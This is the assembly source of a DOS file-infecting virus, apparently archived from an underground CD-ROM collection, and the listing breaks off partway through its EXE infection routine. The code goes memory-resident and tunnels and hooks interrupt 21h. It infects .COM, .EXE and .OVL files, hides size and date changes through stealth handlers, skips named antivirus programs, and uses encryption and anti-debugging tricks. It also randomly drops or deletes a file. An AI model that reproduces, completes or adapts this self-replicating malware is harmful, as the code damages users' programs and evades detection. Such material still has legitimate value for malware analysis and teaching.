home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / dei.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  26.2 KB  |  961 lines

  1. ; =======================================================================>
  2.  
  3.  
  4.  
  5. PING            equ     0BF1h                   ; a worthless DOS function
  6.  
  7. PONG            equ     0DEAFh                  ; response to residency test
  8.  
  9.  
  10.  
  11. code            segment
  12.  
  13.         org     100h
  14.  
  15.         assume  cs:code,ds:code
  16.  
  17.  
  18.  
  19. start:
  20.  
  21.         jmp     virus_begin             ; fake host program
  22.  
  23.         db      26 dup (0)
  24.  
  25.  
  26.  
  27. virus_begin:
  28.  
  29.         db      0BBh                    ; mov bx,
  30.  
  31. code_offset     dw      0
  32.  
  33.         db      0B0h                    ; mov al,
  34.  
  35. cipher          db      0
  36.  
  37. decrypt:
  38.  
  39.         db      02Eh                    ; cs:
  40.  
  41. decryptor_1:    xor     [bx],al
  42.  
  43.         inc     bx
  44.  
  45. shift_1:        neg     al
  46.  
  47.         db      81h,0FBh                ; cmp bx,
  48.  
  49. code_offset_2   dw      0
  50.  
  51.         jbe     decrypt
  52.  
  53. viral_code:
  54.  
  55.         call    $ + 3                   ; BP is instruction ptr.
  56.  
  57.         pop     bp
  58.  
  59.         sub     bp,offset $ - 1
  60.  
  61.  
  62.  
  63.         push    ds es                   ; save segregs
  64.  
  65.         
  66.  
  67.         jmp     kill_sourcer            ; mess with disassemblers
  68.  
  69.         db      0E9h
  70.  
  71. kill_sourcer:
  72.  
  73.         xor     ah,ah                   ; create or delete the
  74.  
  75.         int     1Ah                     ; \DEI.COM file at random
  76.  
  77.         cmp     dx,0FE00h               ; times ...
  78.  
  79.         jb      dont_drop
  80.  
  81.         call    drop_program
  82.  
  83.         jmp     dont_delete
  84.  
  85. dont_drop:
  86.  
  87.         cmp     dx,0800h
  88.  
  89.         ja      dont_delete
  90.  
  91.         call    delete_program
  92.  
  93. dont_delete:
  94.  
  95.         mov     ax,PING                 ; residency test
  96.  
  97.         int     21h
  98.  
  99.         cmp     bx,PONG                 ; if installed,
  100.  
  101.         jne     not_installed           ; don't install again
  102.  
  103.         jmp     installed
  104.  
  105. not_installed:
  106.  
  107.         mov     ax,es                   ; install ourselves
  108.  
  109.         dec     ax                      ; in memory
  110.  
  111.         mov     ds,ax
  112.  
  113.  
  114.  
  115.         sub     word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
  116.  
  117.         sub     word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
  118.  
  119.         mov     ax,ds:[12h]             ; doing some calculations and
  120.  
  121.         mov     ds,ax                   ; a bit of manipulation to
  122.  
  123.  
  124.  
  125.         sub     ax,15                   ; memory
  126.  
  127.         mov     es,ax                   ; ES points to our destiny
  128.  
  129.         mov     byte ptr ds:[0],'Z'
  130.  
  131.         mov     word ptr ds:[1],8
  132.  
  133.         mov     word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
  134.  
  135.  
  136.  
  137.         push    cs                      ; zopy it
  138.  
  139.         pop     ds
  140.  
  141.         mov     di,100h
  142.  
  143.         mov     cx,virus_end - start
  144.  
  145.         lea     si,[bp + start]
  146.  
  147.         rep     movsb
  148.  
  149.  
  150.  
  151.         xor     ax,ax
  152.  
  153.         mov     ds,ax
  154.  
  155.  
  156.  
  157.         sub     word ptr ds:[413h],7    ; allocate memory from BIOS
  158.  
  159.  
  160.  
  161.         mov     si,21h * 4              ; saving old interrupt 21
  162.  
  163.         mov     di,offset old_int_21    ; first
  164.  
  165.         movsw
  166.  
  167.         movsw
  168.  
  169.  
  170.  
  171.         lea     dx,[bp + int_1]
  172.  
  173.         mov     ds:[4],dx               ; recursive tunneling - 
  174.  
  175.         mov     ds:[6],cs               ; trace through interrupt 21
  176.  
  177.  
  178.  
  179.         push    es
  180.  
  181.         mov     ah,52h                  ; get list of lists
  182.  
  183.         int     21h                     ; for segment of DOS's int 21
  184.  
  185.         mov     ax,es
  186.  
  187.         mov     cs:[bp + int_21_seg],ax
  188.  
  189.         pop     es
  190.  
  191.         mov     [bp + our_es],es
  192.  
  193.  
  194.  
  195.         mov     ax,100h                 ; set trap flag
  196.  
  197.         push    ax
  198.  
  199.         popf
  200.  
  201.  
  202.  
  203.         mov     ah,0Bh                  ; and send us down the tunnel
  204.  
  205.         pushf
  206.  
  207.         call    dword ptr ds:[21h * 4]
  208.  
  209.  
  210.  
  211.         xor     ax,ax                   ; turn off trap flag
  212.  
  213.         push    ax
  214.  
  215.         popf
  216.  
  217.  
  218.  
  219.         mov     word ptr ds:[si - 4],0  ; little anti-trace ...
  220.  
  221.  
  222.  
  223.         mov     ds:[si - 4],offset new_int_21
  224.  
  225.         mov     ds:[si - 2],es          ; and set new interrupt 21
  226.  
  227.  
  228.  
  229. installed:
  230.  
  231.         pop     es ds
  232.  
  233.         cmp     cs:[bp + exe_flag],1    ; is this an .EXE file? 
  234.  
  235.         je      exe_exit                ; if so, exit as such
  236.  
  237. com_exit:
  238.  
  239.         lea     si,[bp + offset host]   ; restore original header
  240.  
  241.         mov     di,100h
  242.  
  243.         push    di
  244.  
  245.         mov     cx,28
  246.  
  247.         rep     movsb
  248.  
  249.  
  250.  
  251.         call    reset_regs
  252.  
  253.  
  254.  
  255.         ret                             ; and leave
  256.  
  257.  
  258.  
  259. exe_exit:
  260.  
  261.         
  262.  
  263.         mov     ax,ds
  264.  
  265.         add     ax,cs:[bp + exe_cs]
  266.  
  267.         mov     word ptr cs:[bp + jump_to + 2],ax
  268.  
  269.         mov     ax,cs:[bp + exe_ip]
  270.  
  271.         mov     word ptr cs:[bp + jump_to],ax
  272.  
  273.  
  274.  
  275.         mov     ax,ds
  276.  
  277.         add     ax,cs:[bp + exe_ss]     ; restore original stack
  278.  
  279.         cli
  280.  
  281.         mov     ss,ax
  282.  
  283.         mov     sp,cs:[bp + exe_sp]
  284.  
  285.  
  286.  
  287.         call    reset_regs              ; reset registers
  288.  
  289.  
  290.  
  291.         db      0EAh
  292.  
  293. jump_to         dd      0
  294.  
  295.  
  296.  
  297. reset_regs:
  298.  
  299.         mov     si,100h
  300.  
  301.         xor     ax,ax
  302.  
  303.         xor     bx,bx
  304.  
  305.         xor     di,di
  306.  
  307.         xor     bp,bp
  308.  
  309.         ret
  310.  
  311.  
  312.  
  313. ; int 1 handler for tunneling.
  314.  
  315.  
  316.  
  317. int_21_seg      dw      0                       ; original int 21 segment
  318.  
  319. our_es          dw      0                       ; our ES
  320.  
  321.  
  322.  
  323. int_1:
  324.  
  325.         push    bp                      ; save registers used
  326.  
  327.         mov     bp,sp
  328.  
  329.  
  330.  
  331.         push    ax
  332.  
  333.         mov     ax,[bp + 4]             ; SEGMENT of next instruction
  334.  
  335.  
  336.  
  337.         push    bp
  338.  
  339.         call    get_dest_seg            ; get location pointer
  340.  
  341. get_dest_seg:
  342.  
  343.         pop     bp
  344.  
  345.  
  346.  
  347.         cmp     ax,cs:[bp - (get_dest_seg - int_21_seg)]
  348.  
  349.         pop     bp                      ; restore BP
  350.  
  351.         jbe     tunneled                ; found, we're through
  352.  
  353.  
  354.  
  355.         push    ds si                   ; no, check next instruction
  356.  
  357.  
  358.  
  359.         mov     ds,ax
  360.  
  361.         mov     si,[bp + 2]             ; OFFSET of next instruction
  362.  
  363.         lodsb                           ; next instruction in AL
  364.  
  365.  
  366.  
  367.         cmp     al,0CFh                 ; IRET instruction?
  368.  
  369.         je      set_iret                ; adjust accordingly
  370.  
  371.  
  372.  
  373.         cmp     al,09Dh                 ; POPF instruction?
  374.  
  375.         je      set_popf                ; adjust
  376.  
  377.  
  378.  
  379.         jmp     flag_check_done         ; never mind ...
  380.  
  381.  
  382.  
  383. tunneled:                                       ; we're done ... save segment
  384.  
  385.         push    es si
  386.  
  387.         call    get_our_es
  388.  
  389. get_our_es:
  390.  
  391.         pop     si
  392.  
  393.         mov     si,cs:[si - (get_our_es - our_es)]
  394.  
  395.         mov     es,si
  396.  
  397.         mov     word ptr es:[old_int_21 + 2],ax
  398.  
  399.         mov     ax,[bp + 2]             ; and offset
  400.  
  401.         mov     word ptr es:[old_int_21],ax
  402.  
  403.         and     [bp + 6],0FEFFh         ; deinstall tunnel routine
  404.  
  405.         pop     si es
  406.  
  407.         jmp     exit
  408.  
  409.  
  410.  
  411. set_iret:
  412.  
  413.         or      [bp + 10],100h          ; OFFSET of second interrupt
  414.  
  415.         jmp     flag_check_done         ; call on stack (flags)
  416.  
  417.  
  418.  
  419. set_popf:
  420.  
  421.         or      [bp + 6],100h           ; OFFSET of word before
  422.  
  423.                         ; interrupt call on stack
  424.  
  425. flag_check_done:
  426.  
  427.         pop     si ds
  428.  
  429. exit:
  430.  
  431.         pop     ax bp
  432.  
  433.         iret
  434.  
  435.  
  436.  
  437. ; int 24 handler.
  438.  
  439. ; DOS changes it back automatically.
  440.  
  441.  
  442.  
  443. new_int_24:
  444.  
  445.         mov     al,3                    ; simple enough
  446.  
  447.         iret
  448.  
  449.  
  450.  
  451. ; ================================================>
  452.  
  453. ; int 21 handler.
  454.  
  455. ; trap 11h,12h,3Dh,3Fh,4Bh,4Eh,4Fh,6Ch, and 5700h
  456.  
  457. ; ================================================>
  458.  
  459.  
  460.  
  461. int_21:
  462.  
  463.         pushf
  464.  
  465.         call    dword ptr cs:[old_int_21]
  466.  
  467.         ret
  468.  
  469.  
  470.  
  471. new_int_21:
  472.  
  473.         cmp     ax,PING                 ; are we checking on ourself?
  474.  
  475.         je      pass_signal             ; yes, give the signal
  476.  
  477.  
  478.  
  479.         cmp     ax,4B00h                ; program execution?
  480.  
  481.         je      execute                 ; uh - huh
  482.  
  483.  
  484.  
  485.         cmp     ah,11h                  ; directory stealth method 1
  486.  
  487.         je      dir_stealth_1           ; (hide from DIR listing)
  488.  
  489.         cmp     ah,12h
  490.  
  491.         je      dir_stealth_1
  492.  
  493.  
  494.  
  495.         cmp     ah,4Eh                  ; directory stealth method 2
  496.  
  497.         je      dir_stealth_2           ; (hide from ASCIIZ search)
  498.  
  499.         cmp     ah,4Fh
  500.  
  501.         je      dir_stealth_2
  502.  
  503.  
  504.  
  505.         cmp     ah,3Dh                  ; file open method 1
  506.  
  507.         jne     go_on
  508.  
  509.         jmp     file_open
  510.  
  511. go_on:
  512.  
  513.         cmp     ah,6Ch                  ; file open method 2
  514.  
  515.         jne     go_on_2  
  516.  
  517.         jmp     file_open
  518.  
  519. go_on_2:
  520.  
  521.         cmp     ah,3Fh                  ; file read
  522.  
  523.         jne     go_on_3    
  524.  
  525.         jmp     file_read
  526.  
  527. go_on_3:
  528.  
  529.         cmp     ax,5700h                ; get date
  530.  
  531.         jne     int_21_exit
  532.  
  533.         jmp     fix_date
  534.  
  535.  
  536.  
  537. int_21_exit:
  538.  
  539.         db      0EAh                    ; never mind ...
  540.  
  541. old_int_21      dd      0
  542.  
  543.  
  544.  
  545. pass_signal:
  546.  
  547.         mov     bx,PONG                 ; pass signal
  548.  
  549.         jmp     int_21_exit
  550.  
  551.  
  552.  
  553. execute:
  554.  
  555.         call    check_name
  556.  
  557.         jc      skip_infect             ; don't infect if marked
  558.  
  559.         call    infect_ds_dx            ; simple enough ...
  560.  
  561. skip_infect:
  562.  
  563.         jmp     int_21_exit
  564.  
  565.  
  566.  
  567. dir_stealth_1:
  568.  
  569.         call    int_21                  ; do it
  570.  
  571.         test    al,al                   ; if al = -1
  572.  
  573.         js      cant_find               ; then don't bother
  574.  
  575.  
  576.  
  577.         push    ax bx es                ; check file for infection
  578.  
  579.  
  580.  
  581.         mov     ah,2Fh
  582.  
  583.         int     21h
  584.  
  585.  
  586.  
  587.         cmp     byte ptr es:[bx],-1     ; check for extended FCB
  588.  
  589.         jne     no_ext_FCB
  590.  
  591.         add     bx,7
  592.  
  593.  
  594.  
  595. no_ext_FCB:
  596.  
  597.         mov     ax,es:[bx + 19h]
  598.  
  599.         cmp     ah,100                  ; check years -  
  600.  
  601.         jb      fixed                   ; if 100+, infected
  602.  
  603.  
  604.  
  605.         ror     ah,1
  606.  
  607.         sub     ah,100
  608.  
  609.         rol     ah,1
  610.  
  611.         mov     es:[bx + 19h],ax
  612.  
  613.  
  614.  
  615.         sub     word ptr es:[bx + 1Dh],VIRUS_SIZE + 28
  616.  
  617.         sbb     word ptr es:[bx + 1Fh],0
  618.  
  619. fixed:
  620.  
  621.         pop     es bx ax
  622.  
  623. cant_find:
  624.  
  625.         iret
  626.  
  627.  
  628.  
  629.  
  630.  
  631. dir_stealth_2:
  632.  
  633.         call    int_21                  ; perform file search
  634.  
  635.         jnc     check_file_2            ; if found, proceed
  636.  
  637.         retf    2                       ; nope, leave
  638.  
  639. check_file_2:
  640.  
  641.         push    ax bx si es
  642.  
  643.  
  644.  
  645.         mov     ah,2Fh                  ; find DTA
  646.  
  647.         int     21h
  648.  
  649.  
  650.  
  651.         mov     ax,es:[bx + 18h]
  652.  
  653.         cmp     ah,100                  ; check for infection marker
  654.  
  655.         jb      fixed_2
  656.  
  657.  
  658.  
  659.         ror     ah,1                    ; fix up date
  660.  
  661.         sub     ah,100
  662.  
  663.         rol     ah,1
  664.  
  665.         mov     es:[bx + 18h],ax
  666.  
  667.  
  668.  
  669.         sub     word ptr es:[bx + 1Ah],VIRUS_SIZE + 28
  670.  
  671.         sbb     word ptr es:[bx + 1Ch],0
  672.  
  673. fixed_2:
  674.  
  675.         pop     es si bx ax             ; done
  676.  
  677.         clc
  678.  
  679.         retf    2
  680.  
  681.  
  682.  
  683. file_open:
  684.  
  685.         call    try_infecting           ; try to infect file
  686.  
  687.  
  688.  
  689.         call    int_21                  ; open file
  690.  
  691.         jc      open_fail               ; carry set, open failed
  692.  
  693.              
  694.  
  695.         cmp     ax,5                    ; if handle is a device,
  696.  
  697.         jb      dont_bother             ; don't bother with it
  698.  
  699.  
  700.  
  701.         push    ax bx di es
  702.  
  703.  
  704.  
  705.         xchg    ax,bx
  706.  
  707.         push    bx
  708.  
  709.         mov     ax,1220h                ; get system file table
  710.  
  711.         int     2Fh                     ; entry
  712.  
  713.         
  714.  
  715.         nop                             ; anti-SCAN
  716.  
  717.  
  718.  
  719.         mov     bl,es:[di]
  720.  
  721.         mov     ax,1216h
  722.  
  723.         int     2Fh
  724.  
  725.         pop     bx
  726.  
  727.  
  728.  
  729.         call    check_datestamp         ; check datestamp
  730.  
  731.         jb      dont_stealth
  732.  
  733.         
  734.  
  735.         cmp     word ptr es:[di],1      ; if file has already
  736.  
  737.         ja      dont_stealth            ; been opened, don't stealth
  738.  
  739.  
  740.  
  741.         sub     es:[di + 11h],VIRUS_SIZE + 28
  742.  
  743.         sbb     word ptr es:[di + 13h],0 ; stealth it ... change file
  744.  
  745.                         ; size
  746.  
  747.  
  748.  
  749. dont_stealth:
  750.  
  751.         pop     es di bx ax             ; restore everything
  752.  
  753. dont_bother:
  754.  
  755.         clc
  756.  
  757. open_fail:
  758.  
  759.         retf    2                       ; and return
  760.  
  761.  
  762.  
  763. file_read:
  764.  
  765.         cmp     bx,5                    ; if read from device,
  766.  
  767.         jae     check_it_out            ; don't bother
  768.  
  769.         jmp     forget_it
  770.  
  771.  
  772.  
  773. check_it_out:
  774.  
  775.         push    si di es ax bx cx
  776.  
  777.         
  778.  
  779.         push    bx
  780.  
  781.         mov     ax,1220h                ; get SFTs
  782.  
  783.         int     2Fh
  784.  
  785.  
  786.  
  787.         nop
  788.  
  789.  
  790.  
  791.         mov     bl,es:[di]
  792.  
  793.         mov     ax,1216h
  794.  
  795.         int     2Fh
  796.  
  797.         pop     bx
  798.  
  799.  
  800.  
  801.         call    check_datestamp         ; 100+ years
  802.  
  803.         jae     check_pointer           ; is the magic number
  804.  
  805.         jmp     no_read_stealth
  806.  
  807. check_pointer:
  808.  
  809.         cmp     word ptr es:[di + 17h],0 ; if file pointer above 64K,
  810.  
  811.         je      check_pointer_2         ; then skip it
  812.  
  813.         jmp     no_read_stealth
  814.  
  815.  
  816.  
  817. check_pointer_2:
  818.  
  819.         cmp     word ptr es:[di + 15h],28 ; if file pointer under 28,
  820.  
  821.         jae     no_read_stealth         ; then DON'T
  822.  
  823.  
  824.  
  825.         push    es:[di + 15h]           ; save it
  826.  
  827.         
  828.  
  829.         mov     ah,3Fh
  830.  
  831.         call    int_21                  ; do the read function
  832.  
  833.         
  834.  
  835.         pop     cx                      ; now find how many bytes
  836.  
  837.         push    ax                      ; (Save AX value)
  838.  
  839.         sub     cx,28                   ; we have to change ...
  840.  
  841.         neg     cx                      ; and where
  842.  
  843.  
  844.  
  845.         cmp     ax,cx                   ; if more than 28 were read,
  846.  
  847.         jae     ok                      ; ok
  848.  
  849.  
  850.  
  851.         xchg    ax,cx                   ; otherwise, switch around
  852.  
  853. ok:
  854.  
  855.         push    ds cx dx
  856.  
  857.  
  858.  
  859.         push    es:[di + 15h]           ; save current file pointer
  860.  
  861.         push    es:[di + 17h]
  862.  
  863.  
  864.  
  865.         add     es:[di + 11h],VIRUS_SIZE + 28
  866.  
  867.         adc     word ptr es:[di + 13h],0
  868.  
  869.         mov     ax,es:[di + 11h]        ; fix up file size to prevent
  870.  
  871.         sub     ax,28                   ; read past end of file
  872.  
  873.  
  874.  
  875.         mov     es:[di + 15h],ax
  876.  
  877.         mov     ax,es:[di + 13h]
  878.  
  879.         mov     es:[di + 17h],ax
  880.  
  881.  
  882.  
  883.         push    cs                      ; now read in real first 28
  884.  
  885.         pop     ds                      ; bytes
  886.  
  887.         mov     dx,offset read_buffer
  888.  
  889.         mov     cx,28
  890.  
  891.         mov     ah,3Fh
  892.  
  893.         call    int_21
  894.  
  895.  
  896.  
  897.         sub     es:[di + 11h],VIRUS_SIZE + 28
  898.  
  899.         sbb     word ptr es:[di + 13h],0
  900.  
  901.  
  902.  
  903.         pop     es:[di + 17h]           ; restore file pointer
  904.  
  905.         pop     es:[di + 15h]
  906.  
  907.  
  908.  
  909.         pop     dx cx ds                ; now we move our 28 bytes
  910.  
  911.         push    ds                      ; into theirs ...
  912.  
  913.         pop     es
  914.  
  915.  
  916.  
  917.         mov     di,dx
  918.  
  919.         mov     si,offset read_buffer
  920.  
  921.         push    cs
  922.  
  923.         pop     ds
  924.  
  925.         rep     movsb                   ; done
  926.  
  927.  
  928.  
  929.         push    es                      ; restore DS
  930.  
  931.         pop     ds
  932.  
  933.  
  934.  
  935.         pop     ax
  936.  
  937.         pop     cx bx es es di si
  938.  
  939.         clc
  940.  
  941.         retf    2
  942.  
  943.  
  944.  
  945. no_read_stealth:
  946.  
  947.         pop     cx bx ax es di si
  948.  
  949. forget_it:
  950.  
  951.         jmp     int_21_exit
  952.  
  953.  
  954.  
  955. fix_date:
  956.  
  957.         call    int_21                  ; get date
  958.  
  959.         jc      an_error
  960.  
  961.         cmp     dh,100                  ; if years > 100,
  962.  
  963.         jb      date_fixed              ; fix it up
  964.  
  965.         ror     dh,1
  966.  
  967.         sub     dh,100
  968.  
  969.         rol     dh,1
  970.  
  971. date_fixed:
  972.  
  973.         iret
  974.  
  975. an_error:
  976.  
  977.         retf    2
  978.  
  979. ; Called routines
  980.  
  981.  
  982.  
  983. ; this routine checks for a .COM or .EXE file
  984.  
  985. try_infecting:
  986.  
  987.         push    di es cx ax
  988.  
  989.  
  990.  
  991.         cmp     ax,6C00h                ; extended open fix
  992.  
  993.         jne     get_ext
  994.  
  995.         xchg    dx,si
  996.  
  997. get_ext:
  998.  
  999.         mov     di,dx                   ; find program extension
  1000.  
  1001.         push    ds
  1002.  
  1003.         pop     es
  1004.  
  1005.         mov     cx,64
  1006.  
  1007.         mov     al,'.'
  1008.  
  1009.         repnz   scasb
  1010.  
  1011.         pop     ax
  1012.  
  1013.         jcxz    let_it_be               ; ... "ecch" ...
  1014.  
  1015.  
  1016.  
  1017.         cmp     [di],'OC'               ; .COM file?
  1018.  
  1019.         jne     perhaps_exe             ; maybe .EXE, then
  1020.  
  1021.         cmp     byte ptr [di + 2],'M'
  1022.  
  1023.         jne     let_it_be               ; not program, don't infect
  1024.  
  1025.         jmp     yes_infect_it
  1026.  
  1027. perhaps_exe:
  1028.  
  1029.         cmp     [di],'XE'               ; .EXE file?
  1030.  
  1031.         jne     one_more_try            ; maybe ... .OVL?
  1032.  
  1033.         cmp     byte ptr [di + 2],'E'
  1034.  
  1035.         jne     let_it_be
  1036.  
  1037.         jmp     yes_infect_it
  1038.  
  1039. one_more_try:
  1040.  
  1041.         cmp     [di],'VO'               ; .OVL file?
  1042.  
  1043.         jne     let_it_be
  1044.  
  1045.         cmp     byte ptr [di + 2],'L'
  1046.  
  1047.         jne     let_it_be
  1048.  
  1049. yes_infect_it:
  1050.  
  1051.         call    check_name              ; don't infect forbidden
  1052.  
  1053.         jc      let_it_be               ; programs
  1054.  
  1055.         call    infect_ds_dx
  1056.  
  1057. let_it_be:
  1058.  
  1059.         cmp     ah,6Ch                  ; extended open fixup
  1060.  
  1061.         jne     get_out
  1062.  
  1063.         xchg    dx,si
  1064.  
  1065. get_out:
  1066.  
  1067.         pop     cx es di
  1068.  
  1069.         ret
  1070.  
  1071.  
  1072.  
  1073. ; this routine checks the filename at DS:DX for certain 'bad' programs
  1074.  
  1075.  
  1076.  
  1077. check_name:
  1078.  
  1079.         push    ax cx es di
  1080.  
  1081.  
  1082.  
  1083.         push    ds                      ; find extension
  1084.  
  1085.         pop     es
  1086.  
  1087.         mov     di,dx
  1088.  
  1089.         mov     cx,64
  1090.  
  1091.         mov     al,'.'
  1092.  
  1093.         repnz   scasb
  1094.  
  1095.  
  1096.  
  1097.         cmp     word ptr [di - 3],'NA'  ; SCAN or TBSCAN
  1098.  
  1099.         jne     pass_1
  1100.  
  1101.         cmp     word ptr [di - 5],'CS'
  1102.  
  1103.         je      av_prog
  1104.  
  1105. pass_1:
  1106.  
  1107.         cmp     word ptr [di - 3],'TO'  ; Frisk's F-PRoT
  1108.  
  1109.         jne     pass_2
  1110.  
  1111.         cmp     word ptr [di - 5],'RP'
  1112.  
  1113.         je      av_prog
  1114.  
  1115. pass_2:
  1116.  
  1117.         cmp     word ptr [di - 3],'DN'  ; COMMAND.COM
  1118.  
  1119.         jne     pass_3                  ; ("Bad or Missing," etc.)
  1120.  
  1121.         cmp     word ptr [di - 5],'AM'
  1122.  
  1123.         je      av_prog
  1124.  
  1125. pass_3:
  1126.  
  1127.         cmp     word ptr [di - 5],'SA'  ; MS-DOS's QBASIC
  1128.  
  1129.         jne     pass_4                  ; ("Packed file is corrupt")
  1130.  
  1131.         cmp     word ptr [di - 7],'BQ'
  1132.  
  1133.         je      av_prog
  1134.  
  1135. pass_4:
  1136.  
  1137.         clc                             ; passed the test
  1138.  
  1139.         jmp     check_complete
  1140.  
  1141. av_prog:
  1142.  
  1143.         stc                             ; ack! *GAG* *boo* *hiss*
  1144.  
  1145. check_complete:
  1146.  
  1147.         pop     di es cx ax
  1148.  
  1149.         ret
  1150.  
  1151.  
  1152.  
  1153. ; this routine infects the file at DS:DX
  1154.  
  1155.  
  1156.  
  1157. infect_ds_dx:
  1158.  
  1159.         push    ax bx cx dx si di ds es
  1160.  
  1161.  
  1162.  
  1163.         in      al,21h                  ; some anti-trace
  1164.  
  1165.         xor     al,2
  1166.  
  1167.         out     21h,al
  1168.  
  1169.  
  1170.  
  1171.         xor     al,2
  1172.  
  1173.         out     21h,al
  1174.  
  1175.  
  1176.  
  1177.         mov     ax,3D00h                ; read-only ... we'll change        
  1178.  
  1179.         call    int_21                  ; it later, but it won't trip
  1180.  
  1181.         jnc     hook_24                 ; some AV monitors
  1182.  
  1183.         jmp     cant_open
  1184.  
  1185.  
  1186.  
  1187. hook_24:
  1188.  
  1189.         xor     bx,bx                   ; hook int 24h
  1190.  
  1191.         mov     ds,bx                   ; prevent write protect errors
  1192.  
  1193.         mov     ds:[24h * 4],offset new_int_24
  1194.  
  1195.         mov     ds:[24h * 4 + 2],cs
  1196.  
  1197.  
  1198.  
  1199.         xchg    bx,ax                   ; get system file tables
  1200.  
  1201.         push    bx
  1202.  
  1203.         mov     ax,1220h
  1204.  
  1205.         int     2Fh
  1206.  
  1207.         nop                             ; anti-SCAN
  1208.  
  1209.  
  1210.  
  1211.         mov     bl,es:[di]
  1212.  
  1213.         mov     ax,1216h
  1214.  
  1215.         int     2Fh
  1216.  
  1217.         pop     bx
  1218.  
  1219.  
  1220.  
  1221.         call    check_datestamp         ; if already infected,
  1222.  
  1223.         jae     dont_infect             ; don't do it again
  1224.  
  1225.  
  1226.  
  1227.         mov     word ptr es:[di + 2],2  ; change mode to R/W
  1228.  
  1229.  
  1230.  
  1231.         push    cs                      ; read in 28 bytes of
  1232.  
  1233.         pop     ds                      ; our potential host ...
  1234.  
  1235.  
  1236.  
  1237.         mov     dx,offset read_buffer
  1238.  
  1239.         mov     cx,28
  1240.  
  1241.         mov     ah,3Fh                  ; (carefully avoiding
  1242.  
  1243.         call    int_21                  ;  our stealth routine)
  1244.  
  1245.  
  1246.  
  1247.         cmp     word ptr read_buffer,'ZM'
  1248.  
  1249.         je      infect_exe              ; if .EXE, infect as one
  1250.  
  1251.  
  1252.  
  1253.         mov     exe_flag,0              ; infect as .COM
  1254.  
  1255.  
  1256.  
  1257.         mov     ax,es:[di + 11h]        ; get file size
  1258.  
  1259.  
  1260.  
  1261.         cmp     ax,65279 - VIRUS_SIZE + 28
  1262.  
  1263.         ja      dont_infect             ; don't infect; too big
  1264.  
  1265.  
  1266.  
  1267.         cmp     ax,28
  1268.  
  1269.         jb      dont_infect             ; don't infect; too small
  1270.  
  1271.  
  1272.  
  1273.         mov     es:[di + 15h],ax        ; move to end of file
  1274.  
  1275.                         ; (I just love the SFTs ...)
  1276.  
  1277.         call    encrypt_and_write_virus ; encrypt the virus code
  1278.  
  1279.                         ; then write it to the file
  1280.  
  1281.  
  1282.  
  1283.         mov     dx,offset read_buffer   ; store original
  1284.  
  1285.         mov     cx,28                   ; header
  1286.  
  1287.         mov     ah,40h
  1288.  
  1289.         call    int_21
  1290.  
  1291.  
  1292.  
  1293.         mov     word ptr es:[di + 15h],0 ; and lastly, back to
  1294.  
  1295.                         ; the beginning of the file
  1296.  
  1297.         mov     dx,offset new_header    ; to add the new header
  1298.  
  1299.         mov     ah,40h
  1300.  
  1301.         mov     cx,22                   ; our header's only 22 bytesx
  1302.  
  1303.         call    int_21
  1304.  
  1305.  
  1306.  
  1307.         mov     cx,es:[di + 0Dh]        ; fix date/time
  1308.  
  1309.         mov     dx,es:[di + 0Fh]
  1310.  
  1311.         ror     dh,1
  1312.  
  1313.         add     dh,100
  1314.  
  1315.         rol     dh,1
  1316.  
  1317.         mov     ax,5701h
  1318.  
  1319.         call    int_21
  1320.  
  1321. dont_infect:
  1322.  
  1323.         mov     ah,3Eh                  ; and close the file
  1324.  
  1325.         call    int_21
  1326.  
  1327. cant_open:
  1328.  
  1329.         jmp     infect_exit             ; infection done; exit
  1330.  
  1331.  
  1332.  
  1333. infect_exe:
  1334.  
  1335.         cmp     word ptr read_buffer[24],'@'
  1336.  
  1337.         jne     not_windows
  1338.  
  1339.         jmp     infect_exit             ; Windows .EXE, don't infect
  1340.  
  1341. not_windows:
  1342.  
  1343.         cmp     word ptr read_buffer[26],0
  1344.  
  1345.         je      not_overlay
  1346.  
  1347.         jmp     infect_exit             ; overlay .EXE, don't infect
  1348.  
  1349. not_overlay:
  1350.  
  1351.         mov     exe_flag,1              ; infect as .EXE
  1352.  
  1353.  
  1354.  
  1355.         push    es di                   ; move original header
  1356.  
  1357.         push    cs                      ; into new header area
  1358.  
  1359.         pop     es
  1360.  
  1361.  
  1362.  
  1363.         mov     si,offset read_buffer
  1364.  
  1365.         mov     di,offset header_buffer
  1366.  
  1367.         mov     cx,28
  1368.  
  1369.         rep     movsb
  1370.  
  1371.  
  1372.  
  1373.         pop     di es
  1374.  
  1375.  
  1376.  
  1377.         push    es:[di + 11h]           ; save file size on stack
  1378.  
  1379.         push    es:[di + 13h]
  1380.  
  1381.  
  1382.  
  1383.         push    word ptr read_buffer[22]         ; CS ...
  1384.  
  1385.         pop     exe_cs
  1386.  
  1387.         add     exe_cs,10h              ; (adjust)
  1388.  
  1389.         push    word ptr read_buffer[20]         ; IP ...
  1390.  
  1391.         pop     exe_ip
  1392.  
  1393.  
  1394.  
  1395.         push    word ptr read_buffer[14]         ; SS ...
  1396.  
  1397.         pop     exe_ss
  1398.  
  1399.         add     exe_ss,10h              ; (adjust)
  1400.  
  1401.         push    word ptr read_buffer[16]         ; and SP
  1402.  
  1403.         pop     exe_sp                 
  1404.  
  1405.  
  1406.  
  1407.         pop     dx ax                   ; now we calculate new CS:IP
  1408.  
  1409.         push    ax dx                   ; (save these for later)
  1410.  
  1411.  
  1412.  
  1413.         push    bx
  1414.  
  1415.         mov     cl,12                   ; calculate offsets for CS
  1416.  
  1417.         shl     dx,cl                   ; and IP
  1418.  
  1419.         mov     bx,ax
  1420.  
  1421.         mov     cl,4
  1422.  
  1423.         shr     bx,cl
  1424.  
  1425.         add     dx,bx
  1426.  
  1427.         and     ax,15
  1428.  
  1429.         pop     bx
  1430.  
  1431.  
  1432.  
  1433.         sub     dx,word ptr read_buffer[8]
  1434.  
  1435.         mov     word ptr read_buffer[22],dx
  1436.  
  1437.         mov     word ptr read_buffer[20],ax
  1438.  
  1439.         
  1440.  
  1441.         pop     dx ax
  1442.  
  1443.         add     ax,VIRUS_SIZE + 28
  1444.  
  1445.         adc     dx,0
  1446.  
  1447.         push    ax dx
  1448.  
  1449.  
  1450.  
  1451.         mov     cl,4                    ; create a stack segment
  1452.  
  1453.         shr     ax,cl
  1454.  
  1455.         add     ax,200
  1456.  
  1457.  
  1458.  
  1459.         cmp     ax,word ptr read_buffer[14]
  1460.  
  1461.         jb      no_new_stack            ; if theirs is better, skip it
  1462.  
  1463.         
